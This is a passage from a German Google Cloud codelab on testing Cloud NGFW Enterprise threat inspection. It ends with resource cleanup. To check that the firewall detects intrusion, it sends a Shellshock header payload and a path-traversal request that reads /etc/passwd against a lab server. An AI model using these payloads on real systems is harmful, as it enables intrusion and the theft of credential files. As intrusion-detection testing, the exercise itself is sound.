gcloud compute network-firewall-policies rules create 10000 \ --description "inspect all egress internet traffic from clients" \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=EGRESS \ --dest-ip-ranges=0.0.0.0/0 \ --enable-logging \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg
Wechseln Sie zurück zur Client-VM und senden Sie Angriffe mit hoher Schwere noch einmal an die externe Server-IP-Adresse:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3 curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3
Erwartete Ausgabe:
curl: (56) Recv failure: Connection reset by peer curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received
Wechseln Sie in der Cloud Console zum Tab „Bedrohungen“, um die Protokolle zu prüfen. Möglicherweise müssen Sie die Seite mehrmals aktualisieren. Die Angriffe sollten wieder erkannt und protokolliert werden, aber jetzt ist die Quell-IP-Adresse intern, weil zuerst eine Regel für ausgehenden Traffic ausgelöst wird:
Schließen Sie die SSH-Sitzung und fahren Sie mit dem nächsten Abschnitt mit den Schritten zur Bereinigung fort.
8. Bereinigungsschritte
Bereinigung von Cloud NGFW Enterprise-Komponenten
Liste der vorhandenen Cloud NGFW Enterprise-Verknüpfungen aufrufen:
gcloud network-security firewall-endpoint-associations list
Löschen Sie die Cloud NGFW Enterprise-Verknüpfung:
gcloud network-security firewall-endpoint-associations delete \ $prefix-association --zone $zone
gcloud network-security firewall-endpoint-associations list
Liste der vorhandenen Cloud NGFW Enterprise-Endpunkte auflisten:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Löschen Sie den Cloud NGFW Enterprise-Endpunkt. Das kann etwa 20 Minuten dauern:
gcloud -q network-security firewall-endpoints delete \ $org_prefix-$zone --zone=$zone --organization $org_id
Prüfen Sie mit dem folgenden Befehl, ob die Cloud NGFW Enterprise-Ressource gelöscht wurde:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Löschen Sie die Sicherheitsprofilgruppe und das Profil für die Bedrohungsvermeidung:
gcloud -q network-security security-profile-groups delete \ $org_prefix-spg \ --organization $org_id \ --location=global gcloud -q network-security security-profiles threat-prevention \ delete $org_prefix-sp-threat \ --organization $org_id \ --location=global
Bereinigung der Basiseinrichtung
Fahren Sie mit dem nächsten Schritt fort, wenn Sie die Basisressourcen löschen möchten.
Definieren Sie bei Bedarf die Umgebungsvariablen. Löschen Sie in Cloud Shell die Komponenten des Netzwerk-Load Balancers:
gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region gcloud -q compute backend-services delete $prefix-nlb-bes --region $region gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone
So entfernen Sie Instanzen:
gcloud -q compute instances delete $prefix-$zone-www --zone=$zone gcloud -q compute instances delete $prefix-$zone-client --zone=$zone
Optional kannst du die folgenden Schritte ausführen, wenn die Rollen „tagAdmin“ und „tagUsers“ geändert wurden:
export user_id=$(gcloud auth list --format="value(account)") gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagUser
Tag-Schlüssel und -Werte entfernen:
gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags
Löschen Sie die Cloud-Firewall-Netzwerkrichtlinie und die Verknüpfung:
gcloud -q compute network-firewall-policies associations delete \ --firewall-policy $prefix-fwpolicy \ --name $prefix-fwpolicy-association \ --global-firewall-policy gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global
Löschen Sie Cloud Router und Cloud NAT:
gcloud -q compute routers nats delete $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region gcloud -q compute routers delete $prefix-cr --region=$region
So löschen Sie reservierte IP-Adressen:
gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region
Löschen Sie abschließend das Subnetz und das VPC-Netzwerk:
gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region gcloud -q compute networks delete $prefix-vpc
9. Glückwunsch!
Herzlichen Glückwunsch, Sie haben das Codelab zur Cloud NGFW Enterprise für die East-West- und North-South-Inspektion erfolgreich abgeschlossen.